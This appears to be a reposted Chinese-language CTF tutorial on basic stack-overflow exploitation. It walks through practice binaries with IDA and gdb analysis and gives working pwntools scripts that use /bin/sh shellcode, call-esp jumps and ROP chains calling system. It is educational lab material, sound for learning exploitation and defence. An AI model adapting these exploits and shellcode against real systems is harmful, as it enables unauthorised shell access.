CTF中的PWN—(棧溢出)


本文主要講的是利用棧溢出的基礎PWN,分別有使用shellcode類型、滿足函數條件類型及使用軟件自帶system函數類型,其中自帶system函數的類型軟件因為傳參方式不同進而分為32bit與64bit的軟件。

 滿足函數條件類型
    很low的命名~///這種類型就是通過棧溢出使函數棧內滿足某種條件則執行自帶的system函數的類型,下面是此類型題目的例子:

    題目:bof
    放入IDA中查看:

 

    可以看到存在get()危險函數,可接收任意長度的輸入並存到變量s的地址&s中。當變量a1等於 0xcafebabe即可,可以看到字符s距離ebp為0x2c,則距離形參a1為0x2c+0x8=52u。則payload如下:

from pwn import *

p = process('./bof')

payload = 52 * 'A' + p32(0xcafebabe)

p.recvuntil('overflow me :')
p.sendline(payload)
p.interactive()
運行結果如下:

 

使用shellcode類型
    32bit程序傳參方式是將參數從右到左依次入棧,同時構造call指令時需要偽造PUSH EIP指令。

    題目一:stack2
    首先用file命令看一下文件為32位的elf文件:

 

    其次使用checksec查看軟件的防護措施:

 

    沒有防護,拖入IDA分析,可以看到危險函數strcpy():

 

    &dest的EIP偏移量為0x14 + 0x4 = 24u,使用gdb打開程序,查找函數棧中call esp或jmp esp的地址以便call esp到我們的shellcode起始地址上:

 

    選擇call esp地址為0x08048577,payload如下:

from pwn import *

p = process('./stack2')

shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

callesp = 0x08048577

payload = 24 * 'A' + p32(callesp) + shellcode

p.recvuntil('please input password:')
p.sendline(payload)
p.interactive()
    腳本運行如下:

 

    題目二:stack2
    注意:使用shellcode類型的有兩種溢出方式,第一種是將shellcode溢出到溢出點函數棧外面,第二種是溢出在溢出點函數棧內部,但是由於每次加載地址都會變,所以可能十次溢出只能成功兩次。

    將程序拖入IDA中查看,存在危險函數,但是首先程序中無system函數及/bin/sh或cat flag等敏感參數,其次在gdb中使用ropsearch "call esp"不管用,,,同時每次程序的溢出點地址都暴露出來了:

 

 

    通過程序泄露出的溢出點的地址,可以保證每次都能將shellcode的起始地址溢出到返回地址以執行,payload如下:

from pwn import *

p = process('./level1')

shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

recv = p.recv(23)
buf_addr = recv[14:-1]
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(int(buf_addr,16))

p.sendline(payload)
p.interactive()
     腳本運行結果如下:

 

 

自帶system函數類型
64bit:
    題目一:bugku_pwn2
    首先查看文件類型為64bit且無防護措施:

 

    拖入IDA64中發現了read()危險函數,可以通過此函數進行棧溢出操作:

 

    同時發現有getshell函數:

 

   思路一:思路為溢出函數地址到EIP即可 ,而溢出點到EIP返回地址的偏移量為0x30 + 0x8 = 56u此處可以寫getshell的地址,也可以寫system的地址,不過首地址要寫壓入參數的指令的地址。下圖分別為getshell函數地址與system('cat flag')的地址:

 

 

 

     注意:如果使用call system(‘cat flag’)執行的話,必須要在0x400769 將cat flag壓入rdi中的edi中進行傳參,如果直接40076E是無參數的。同時指令是按順序執行的,也就是執行完mov edi, 'cat flag'后會繼續執行 call _system。 

    下面的payload中以getshell函數的地址為例: 

from pwn import *

p = process('./pwn2')

system_addr = 0x400751
payload = 'A' * 56 + p64(system_addr)

p.recvuntil('say something?')
p.sendline(payload)
p.interactive()
    運行后執行了cat flag:

 

     思路二:另一種做法是自己給system函數添加參數,由於64位程序前七個參數從左到右一次使用寄存器傳參,首先需要找到指令pop rdi指令進行參數的調整:

 

需要將pop rdi + p64(& cat flag) + system()溢出到返回地址上,則payload如下:

from pwn import *

p = process('./pwn2')

system_addr = 0x40076E
arg_addr = 0x400857
pop_rdi = 0x4007e3

payload = 'A' * 56 + p64(pop_rdi) + p64(arg_addr) + p64(system_addr)

p.recvuntil('say something?')
p.sendline(payload)
p.interactive()
    運行如下: 

 

 題目二:bugku_pwn4
    放入IDA64中查看,發現read()危險函數:

 

    查看函數發現system()函數,其他函數沒啥意義,查一下字符串:

 

    發現”$0“,注意,$0相當於bin/sh。也就是system('$0') == system('bin/sh') 。那么做題思路就是給system函數中傳入$0參數即可。使用ROPgadget --binary "pwn4" --string ’\$0‘來查看字符串$0的地址:

 

     查找pop rdi的地址位0x4007d3。溢出點距返回地址位0x10 + 0x8 = 24u

    payload如下:

from pwn import *

p = process('./pwn4')

pop_rdi = 0x4007d3
arg_addr = 0x60111f
system_addr = 0x40075A

payload = 'A' * 24 + p64(pop_rdi) + p64(arg_addr) + p64(system_addr)

p.recvuntil('Come on,try to pwn me')
p.sendline(payload)
p.interactive()
    運行如下:

 

 題目三:Jarvis OJ_tell me something
    拖入IDA64中查看發現有危險函數get()與函數goodgame(),只需要將goodgame函數地址溢出到返回地址執行即可,寫payload后怎么都無法執行,后來看了一下匯編,發現有一個坑,正常call 函數都是push rbp  mov rbp,rsp  sub rsp xxx。

但是這個程序沒有進行push rbp:(注:此處直接rsp減 88h,距離rip直接為88h。反匯編使用rbp - 88h表示,盡管沒有push rbp!!!)

 

    所以溢出點距離返回值的偏移不用再加0x8即可,payload如下:

 

from pwn import *

p = remote('pwn.jarvisoj.com',9876)

system = 0x400620

payload = 'A' * 136 + p64(system)

p.recvuntil('Input your message:')
p.sendline(payload)
p.interactive()
     運行如下:

 

32bit:
題目一:Jarvis OJ_level2
    拖入IDA查看發現危險函數read(),查找字符串/bin/sh的地址及system函數的地址。由於程序時32bit的,所以傳參的時候需要偽造EIP返回地址才能執行system函數,payload構造姿勢是:溢出到返回地址 + call system + 偽造EIP(‘aaaa’) + arg。

payload構造如下:

from pwn import *

p = process('./level2')

sys_addr = 0x8048320
arg_addr = 0x804A024

payload = 'A' * 140 + p32(sys_addr) + 'nEIP' + p32(arg_addr)

p.recvuntil('Input:')
p.sendline(payload)
p.interactive()
    腳本執行如下:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM